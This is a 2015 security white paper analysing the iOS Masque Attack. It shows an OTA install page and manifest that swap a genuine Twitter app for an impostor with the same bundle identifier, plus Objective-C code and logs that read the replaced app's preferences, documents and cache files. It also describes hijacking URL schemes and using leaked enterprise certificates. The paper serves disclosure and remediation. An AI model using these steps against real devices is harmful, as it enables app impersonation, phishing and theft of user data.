iOS Masque Attack

Project: White Paper – Masque Attack

Authors: Giorgio Fedon, Simone Bovi

Edition: 1.0

Date: 03-03-2015

White Paper:

Masque Attack

Masque Attack

Edition: v1.0 Date: 03-03-2015 Page 1

Table of contents

1 INTRODUCTION .......................................................................................... 2

1.1 White Paper Objectives ...................................................................................... 2

1.2 Masque Attack Introduction ............................................................................... 2

1.2.1 Threat scenarios of the Masque Attack ................................................................. 4

2 ATTACK EXECUTIONS AND RESULTS OF THE ANALYSIS ................... 5

2.1 Environment Setup............................................................................................. 5

2.2 Attack execution ................................................................................................ 6

2.3 Results: Files accessible by the new app................................................. 10

2.3.1 Preferences File ................................................................................................... 10

2.3.2 Keychain access ................................................................................................... 11

2.3.3 Access to the bundle’s files .................................................................................. 12

2.3.4 Access to the files in the sandbox ........................................................................ 13

2.4 Masque Attack via URL Schemes .............................................................. 15

3 REMEDIATION .......................................................................................... 17

Masque Attack


1 Introduction

1.1 White Paper Objectives

The objectives of this white paper are to analyze the impacts and mitigations of the Masque Attack against a non jailbroken iOS Apple device.

This paper is provided with a first introductive section that has the purpose to generally illustrate this kind of attack and to explore all its implications.

The second section deals with the setup used to perpetrate the attack and the set of the tests executed to verify which files belonging to the attacked application were accessible by the new one.

The third and last section show the conclusions of the paper, the key results obtained and a list of possible remediation.

1.2 Masque Attack Introduction

In July 2014, FireEye Security Company with the security researchers Stefan Esser and Jonathan Zdziarski discovered1 that an iOS app installed using enterprise/ad-hoc provisioning could replace another genuine app previously installed through the App Store, as long as both apps used the same bundle identifier.

This vulnerability exists because iOS doesn't enforce matching certificates for apps with the same bundle identifier.

The malicious app could be downloaded and installed by a user via social engineering attacks: once done that, the new app overwrites the old one already installed on the device.

An exception is represented by the iOS preinstalled apps: they can’t be substituted.

It is important to note that this attack poses iOS users at a greater risk than the Android counterpart. In fact on Android exists an option that disallow users to install application from sources different from the Play Store, while on iOS this choice is not available.

The following picture shows the Masque Attack flow:

1 https://www.fireeye.com/blog/threat-research/2014/11/masque-attack-all-your-ios-apps-belong-to-us.html

Masque Attack


Besides the application personification effect, the malicious app will be able to steal all data saved in the directories shared with the original app (i.e. Local Data Cache, Preferences file, etc.).

On the other hand, Keychain entries and pre-attack bundle’s file seem to remain safely protected from unauthorized read.

More analysis on that will be provided in the section 2 of this paper.

Masque Attack


Furthermore, it has been found that the trust alert prompted at the first launch of an enterprise-signed app can be easily bypassed exploiting the present URL Schemes implementation.

iOS version 7.x and 8.x (< 8.1.3) are affected by this issue on both jailbroken and non jailbroken devices.

Furthermore, the Masque Attack via URL Scheme Hijacking vulnerability has not yet been fixed. This will be explained in detail in section 2.4.

1.2.1 Threat scenarios of the Masque Attack

These are the main threat scenarios of this kind of attack:

Non jailbroken iOS Apple devices are threatened too;

A user may not be conscious of having a malicious app on his device because it replaces one that is regularly installed;

The malicious app can read all the unencrypted data stored by the previous app, but the Keychain, and send them to their servers;

The malicious app can mount a phishing attack mimicking the original UI app and it can steal the related credentials;

The malicious app can be launched although the presence of an alert prompt when launching enterprise-signed apps for the first time;

The malicious app can hijack the URL Schemes of a legitimate popular app in order to perform phishing attacks to steal credentials or gather data intended to be shared between two trusted apps.

Masque Attack


2 Attack Executions and Results of the Analysis

2.1 Environment Setup

An enterprise provisioning profile matched with a developer certificate were used to perpetrate the attack: the public key inside the first file is related to the private key of the certificate installed on the host where the compilation of the app is performed.

The app is installed on the device via OTA, using a local HTTPS web server.

It has to be noticed the fact that developer certificates and mobile enterprise provisioning files can be easily found on Internet through ad-hoc Google dorks. Following a screenshot of a website where these files can be located:

For the signing part of the created IPA, the iReSign tool was used (https://github.com/maciekish/iReSign):

As we can see, the IPA can be signed with a smuggled developer certificate.

Masque Attack


2.2 Attack execution

The app used as an example for the attack is Twitter, downloadable from the App Store at the time of writing.

Bundle Identifier of the app Twitter: com.atebits.Tweetie2.

Following a picture related to the pre-attack test device Springboard is shown:

As it is possible to see, the Twitter app downloaded from the App Store results to be regularly installed.

Connecting to the URL where the web server used for the OTA installation is placed, it is possible to see the following screen:

Masque Attack


This was created using the following HTML code:

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"

"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml">

<head>

<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />

<title>Sample iOS OTA install</title>

</head>

<body>

<a href="itms-services://?action=download-

manifest&url=https://www.mindedsecurity.com/manifest.plist"><font size="+4">Install the

App</font></a>

</body>

</html>

Clicking on “Install the App”, iOS accesses the manifest.plist file loaded on the web server and with the following contents:

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"

<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN"

"http://www.apple.com/DTDs/PropertyList-1.0.dtd">

<plist version="1.0">

Masque Attack


<dict>

<key>items</key>

<array>

<dict>

<key>assets</key>

<array>

<dict>

<key>kind</key>

<string>software-package</string>

<key>url</key>

<string>https://www.mindedsecurity.com/twitter.ipa</string>

</dict>

</array>

<key>metadata</key>

<dict>

<key>bundle-identifier</key>

<string>com.atebits.Tweetie2</string>

<key>bundle-version</key>

<string>1.0</string>

<key>kind</key>

<string>software</string>

<key>title</key>

<string>Twitter</string>

</dict>

</dict>

</array>

</dict>

</plist>

Then iOS asks to confirm the download. This application has the name equals to the value of the key “title” inside the manifest.plist:

Masque Attack


Clicking on “Install”, the app’s installation is initialized on the device as shown by the following screenshots:

Masque Attack


The application presents a different Display Name and default icon in order to make the substitution clear, but it is possible to use the original icon and name used by the real Twitter application.

2.3 Results: Files accessible by the new app

At this point it is very interesting to verify what files are accessible by the new application.

Clearly, the new application is not able to access files outside its sandbox but it could be able to access other files left by the previous installation.

Below all the tests performed will be listed and the used code and related log output will be provided.

2.3.1 Preferences File

Each application saves its settings inside a file in the sandbox at the Library/Preferences path. This file is automatically created at the application’s first launch.

The following code was used to verify if the new app can access the preferences file created by the previous application:

NSUserDefaults *prefs = [NSUserDefaults standardUserDefaults];

NSString *value1 = [prefs stringForKey:@"TCCardRuntimePlatform"];

NSLog(@"Value of the key TCCardRuntimePlatform in the Preferences file: %@", value1);

Masque Attack


NSString *value2 = [prefs stringForKey:@"appVersion"];

NSLog(@"Value of the key appVersion in the Preferences file: %@", value2);

NSString *value3 = [prefs stringForKey:@"previousApplicationVersion"];

NSLog(@"Value of the key previousApplicationVersion in the Preferences file: %@", value3);

From the application log it is possible to see that all the value are correctly read:

Twitter[1708] <Warning>: Value of the key TCCardRuntimePlatform in Preferences file:

iPhone-12

Twitter[1708] <Warning>: Value of the key appVersion in Preferences file: 6.21.1

Twitter[1708] <Warning>: Value of the key previousApplicationVersion in Preferences file:

6.21.1

So, the Preferences file created by the substituted application results to be perfectly readable by the new application.

2.3.2 Keychain access

Keychain is a ciphered SQLite database where it is advisable to store sensitive application data such as passwords.

By default the sandbox on iOS is also enforced for the Keychain: an app can access only its own Keychain entries.

The following code was used to verify if the new app can access the Keychain entries of the previous application (PDKeychainBindingsController library available at https://github.com/carlbrown/PDKeychainBindingsController):

NSLog(@"Trying to read the Keychain");

PDKeychainBindings *bindings = [PDKeychainBindings sharedKeychainBindings];

NSString * value = [bindings stringForKey:@"passwordString"];

NSLog(@"%@", value);

From the application log it is possible to see that trying to read an arbitrary Keychain entry throws the following error:

Twitter[1708] <Warning>: Trying to read the Keychain

securityd[1245] <Error>: securityd_xpc_dictionary_handler Twitter[1708] copy_matching The

operation couldn’t be completed. (OSStatus error -34018 - client has neither application-

identifier nor keychain-access-groups entitlements)

Twitter[1708] <Error>: SecOSStatusWith error:[-34018] The operation couldn’t be

completed. (OSStatus error -34018 - Remote error : The operation couldn’t be completed.

(OSStatus error -34018 - client has neither application-identifier nor keychain-access-

groups entitlements))

Masque Attack


Twitter[1708] <Warning>: (null)

The reason behind the error lies in the mechanism with which single Keychain entries can be accessed from different applications.

For the purpose of sharing Keychain entries, Apple provides the Keychain Access Group: each app that belongs to a group can read all the Keychain entries associated with that group. The apps that do not belong to it are forbidden from accessing them.

The access control to shared items is enforced through App ID prefixes (Team ID) and provisioning profiles. It is not possible to access a Keychain Access Group without using a provisioning profile containing the AppID prefix of the app of which it is desirable to access the Keychain. However Apple does not allow a developer to use an AppID equal to another.

So the only way to access the Keychain entries of the old application lies in the generation of a provisioning file with an AppID containing the same prefix used by the previous application. This is impossible in general but Erik Romjin, on October 2014, found a vulnerability in the Apple portal that allows a developer to insert an arbitrary value as the AppID, permitting him to read Keychain entries of the app with the same prefix. The vulnerability is now fixed but it can’t be excluded that fake provisioning profiles will still be used until October 2015. This is because they expire after one year from the creation.

Several information about this vulnerability can be found at this link: http://erik.io/blog/2014/10/10/vulnerability-apple-portal-compromised-keychain-access-groups/.

2.3.3 Access to the bundle’s files

This check was done to make sure that the old files in the bundle were completely substituted by the new ones.

The following code was used to verify the version of the new bundle available inside the Info.plist file:

NSString *appVersion = [[NSBundle mainBundle]

objectForInfoDictionaryKey:@"CFBundleVersion"];

NSLog(@"Bundle App version in Info.plist file: %@", appVersion);

As it is possible to see from the following log, the bundle version displayed is 1 (that was set by Minded Security on the Xcode project for the new app), while the original version at the time of writing was the 6.21.1:

Masque Attack


Twitter[1708] <Warning>: Bundle App version in Info.plist file: 1

Another test was done to check that files belonging to the old bundle, and surely not present in the new one, were disappeared.

As an example, searching for the file favorite.vector available in the previous application’s bundle:

NSString *filePath = [[NSBundle mainBundle] pathForResource:@"favorite"

ofType:@"vector"];

NSString *myText = [NSString stringWithContentsOfFile:filePath];

if (myText) {

NSLog(@"favorite.vector exists");

}

NSLog(@"favorite.vector file contents: %@", myText);

The following log is obtained:

Twitter[1708]: (null)

Bundle of the application, as expected, is completely overwritten by that of the new one without leaving any old files.

2.3.4 Access to the files in the sandbox

The last test was dedicated to checking which files in the sandbox could be accessed by the new application.

In particular, the code used to read the content of the Documents folder is presented next. This directory is where you write data that the application generates during runtime and that you want to persist between runs of the application. Moreover, it is backed up when the device is synchronized with iTunes or iCloud.

NSArray *paths = NSSearchPathForDirectoriesInDomains(NSDocumentDirectory,

NSUserDomainMask, YES);

NSLog(@"Document folder path: %@", paths);

NSString *documentsDirectory = [paths objectAtIndex:0];

NSError * error;

NSArray * directoryContents = [[NSFileManager defaultManager]

contentsOfDirectoryAtPath:documentsDirectory

error:&error];

Masque Attack


NSLog(@"Document folder contents: %@",directoryContents);

The following log shows that it is possible to list and access all the files belonging to the Documents folder of the old app:

Twitter[1708] <Warning>: Documents folder contents: (

"com.atebits.tweetie.application-important-state",

"com.atebits.tweetie.application-state",

"com.atebits.tweetie.authorizationmanager",

"com.atebits.tweetie.authorizationmanagerTFNAuthorizationManagerData.data",

"com.atebits.tweetie.authorizationmanagerTFNAuthorizationManagerRequestCounts.data",

"com.atebits.tweetie.configuration",

"com.atebits.tweetie.sentinel"

)

It is also possible to access the folder where cache files are stored, that is the Library/Caches folder, using the following code:

NSString *cachesPath = [NSSearchPathForDirectoriesInDomains(NSCachesDirectory,

NSUserDomainMask, YES) objectAtIndex:0];

NSString *cacheDir = [cachesPath stringByAppendingPathComponent:@"com.atebits.Tweetie2"];

NSError * error;

NSArray * directoryContents = [[NSFileManager defaultManager]

contentsOfDirectoryAtPath:cacheDir error:&error];

NSLog(@"Contents of Library/Caches/com.atebits.Tweetie2 folder: %@",directoryContents);

From the following log it is possible to see the presence of the old cache’s files (indeed, the new app does not use any kind of caching):

Twitter[1708] <Warning>: Content of Library/Caches/com.atebits.Tweetie2 folder: (

"Cache.db",

"Cache.db-shm",

"Cache.db-wal"

)

So it is possible to infer that the new application is able to access the files that were in the sandbox of the previous installed app.

Masque Attack


2.4 Masque Attack via URL Schemes

On 19 February 2015 FireEye security researchers have presented a new kind of Masque Attack exploiting URL Schemes vulnerabilities2.

On iOS 8, whenever a user is launching an enterprise-signed app for the first time, he is asked to trust or not the new signing party, as can be seen from the following screenshot:

If a user clicks on “Don’t trust” the app does not open.

It has been discovered that this precaution is not enough: indeed, it is possible to bypass this alert message exploiting the present implementation of URL Schemes.

This can be demonstrated using the following setup:

An Apple device with iOS 8.1.2 installed;

A widespread installed app like, for example, Facebook;

An enterprise-signed app registering an URL Scheme identical to that used by the previous app.

So, it is possible to create an enterprise-signed app registering an URL Schemes used by Facebook, fb://, and bypass the alert prompt calling that URL Scheme to open the malicious app.

Note that, other than Safari, other third-party apps could be using URL Schemes of popular apps, as for the Facebook login.

2 https://www.fireeye.com/blog/threat-research/2015/02/ios_masque_attackre.html

Masque Attack


This way iOS launches the enterprise-signed app registered to handle the URL scheme without prompting for trust, even if the user has always clicked “Don’t Trust”. It doesn’t matter whether the user has launched that enterprise-signed app before.

This can be used in order to mount phishing attacks and steal credentials when the UI of the original app is mimicked, or launch the malicious app although the lack of trust by the user.

This vulnerability has been fixed in iOS 8.1.3.

A very detailed list of all the URL Schemes registered by the apps can be found at this link: http://handleopenurl.com.

It is also important to note that there is another type of Masque Attack that can be accomplished via URL Schemes Hijacking.

In fact, according to iOS Developer Library3, “If more than one third-party app registers to handle the same URL scheme, there is currently no process for determining which app will be given that scheme”.

So, the attackers can publish an app directly into the App Store that registers URL Schemes identical to the ones of legitimate popular apps, with the exception of the ones predefined by Apple. Through this, attackers can reproduce a legitimate app UI to perform phishing attacks to steal credentials or gather data intended to be shared between two trusted apps.

This vulnerability has not yet been fixed.

3 https://developer.apple.com/library/ios/documentation/iPhone/Conceptual/iPhoneOSProgrammingGuide/Inter-AppCommunication/Inter-AppCommunication.html

http://handleopenurl.com/

Masque Attack


3 Remediation

Masque Attack is one of the few attacks also effective on non jailbroken Apple iOS device and so it is a very interesting topic to analyze.

In this paper it was successfully verified that a legit application on a device can be overwritten with a malware app that has the same bundle identifier. This app can be installed by the user via OTA using an enterprise provisioning profile (stolen ones are not difficult to find).

The files belonging to the previous application that can be accessed by the new one are the following:

Preferences File;

Files in the sandbox (Documents, Library/Preferences, Library/Caches, etc.)

Bundle files are instead completely substituted by the new installation.

Furthermore, the access on Keychain entries related to the previous installation is forbidden due to the fact that is not possible to forge a provisioning file with an arbitrary AppID, unless the vulnerability illustrated in the section 2.3.2.

Moreover, it has been discovered that the alert that prompts the user when an enterprise-signed app is launched for the first time can be easily bypassed leveraging the present implementation of URL Schemes.

As a last thing, it is notable that at this time the URL Scheme Hijacking vulnerability explained at the end of section 2.4 has not yet been fixed.

On 27 Jan 2015, Apple released iOS 8.1.3. This update fixes this vulnerability (http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-4493); moreover now iOS also prompts for trust when first opening an enterprise-signed application improving code signature validation (http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-4494) also when URL Schemes are used.

So, it is advisable to use only Apple devices with iOS >= 8.1.3 in order to surely defense from this threat. Note that the URL Schemes Hijacking vulnerability illustrated at the end of section 2.4 has not yet been fixed.

iOS users can protect themselves from Masque Attack by following these 4 steps:

Update iOS on the device to a version >= 8.1.3 as suggested above. Note that the URL Schemes Hijacking vulnerability illustrated at the end of section 2.4 has not yet been fixed;

Don’t install apps from third-party sources other than Apple’s official App Store or the user’s own organization;

Don’t click “Install” on a pop-up from a third-party web page;

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-4493



Masque Attack


When opening an app, if iOS shows an alert with “Untrusted App Developer”, click on “Don’t Trust” and uninstall the app immediately. Nevertheless note that this alert can be bypassed as shown in section 2.4 if iOS >= 8.1.3 is not installed.

iOS developers can mitigate the impact of Masque Attack on their apps and users following (a mix of) these advice:

On the app first launch check if the app is installed on a device that has iOS 8.1.3 onwards. If this is not the case, alert the users of the possible threat. In order to do that check the [UIDevice currentDevice].systemVersion property.

On the Xcode app project, set the Deployment target to 8.2 when it will be available. Note that in this way only users with an iOS version >= 8.2 will be able to run the application;

Enforce the use of all the best practices for writing secure iOS code: cipher all the sandbox file and store sensitive information on the Keychain only, as this is a safe place against this kind of attack.

Think about using a push notification service in order to check if an app is already on the device or it has been uninstalled. In particular, check the related Feedback Service (https://developer.apple.com/library/ios/documentation/NetworkingInternet/Conceptual/RemoteNotificationsPG/Chapters/CommunicatingWIthAPS.html#//apple_ref/doc/uid/TP40008194-CH101-SW3).

In a scenario where an attacker could reuse the original binary and insert only a backdoor inside, a mitigation might be found implementing a check at the start of the application in order to verify the AppID of the app. If the AppID is not equal to the right hardcoded one, the app closes. This assumes that the AppID of the malware app is different from the original one and that the check is not bypassed. See the following link for an implementation idea: http://stackoverflow.com/questions/11726672/access-app-identifier-prefix-programmatically

https://developer.apple.com/library/ios/documentation/NetworkingInternet/Conceptual/RemoteNotificationsPG/Chapters/CommunicatingWIthAPS.html#//apple_ref/doc/uid/TP40008194-CH101-SW3



Masque Attack


Glossary

4 https://developer.apple.com/library/ios/documentation/IDEs/Conceptual/AppStoreDistributionTutorial/CreatingYourTeamProvisioningProfile/CreatingYourTeamProvisioningProfile.html

Term Description

Mobile provisioning A mobile provisioning profile4 creates an association between an application and a developer/organization: that is, a link between a developer certificate and an AppID is created. More on AppID in the next section.

A provisioning profile must be installed on every device intended to run own application code.

Each profile contains:

A set of developer certificates whose public key must be matched with the private key installed on the Keychain inside the host on which the application is compiled.

Devices’ UDID on which the application will run. The devices detailed inside the provisioning profile can be used for testing only by the users that have a developer certificate inside the profile.

The AppID.

The entitlements used. These award special capabilities or security permissions to the application. Among the entitlements, the use of iCloud, push notification and Keychain access can be found.

One device can contain more than one provisioning profile.

AppID The AppID is an important asset of the code-signing process. It specifies which are the applications authorized by the profile to be signed and launched. This identifier is a string composed by two parts:

1. The Team ID, provided by Apple and unique for each development team

2. The bundle identifier of the single application. The AppID is located inside the provisioning file.

The prefix of the AppID, which is the Team ID, results to be very important from a security perspective: apps with the same prefix share their application data leaping over classic iOS sandbox

Masque Attack


5 Johnny Long, Google Hacking for Penetration Testers, Syngress Publishing, 2004. ISBN 1-931836-36-1

boundaries.

The same concept is valid also for the Keychain entries: apps with the same prefix share the access to all their entries.

As a rule, Apple guarantees that different apps from the same developer can have the same prefix, but different apps from different developers cannot.

Bundle Identifier Bundle Identifier is the unique string that precisely identifies a single application.

It is typically composed by two parts:

1. One related to the company identifier

2. One related with the product name inserted during the setting of the Xcode project.

Moreover, this is also the identifier used when an app update is needed: when a user installs an application with the same bundle identifier of another already presents on the device, iOS knows that this has to be updated substituting its bundle with the new one.

Display Name Display Name is the identifier that iOS uses to show the app’s name on the Springboard.

Google Dorks Google hacking5 involves the use of advanced operators in the Google Search Engine to locate the specific string of text within search results.

It means that it is possible to leverage operators provided by Google to narrow the search results.

Generally these operators are called Google Dorks.

Software

iOS Masque Attack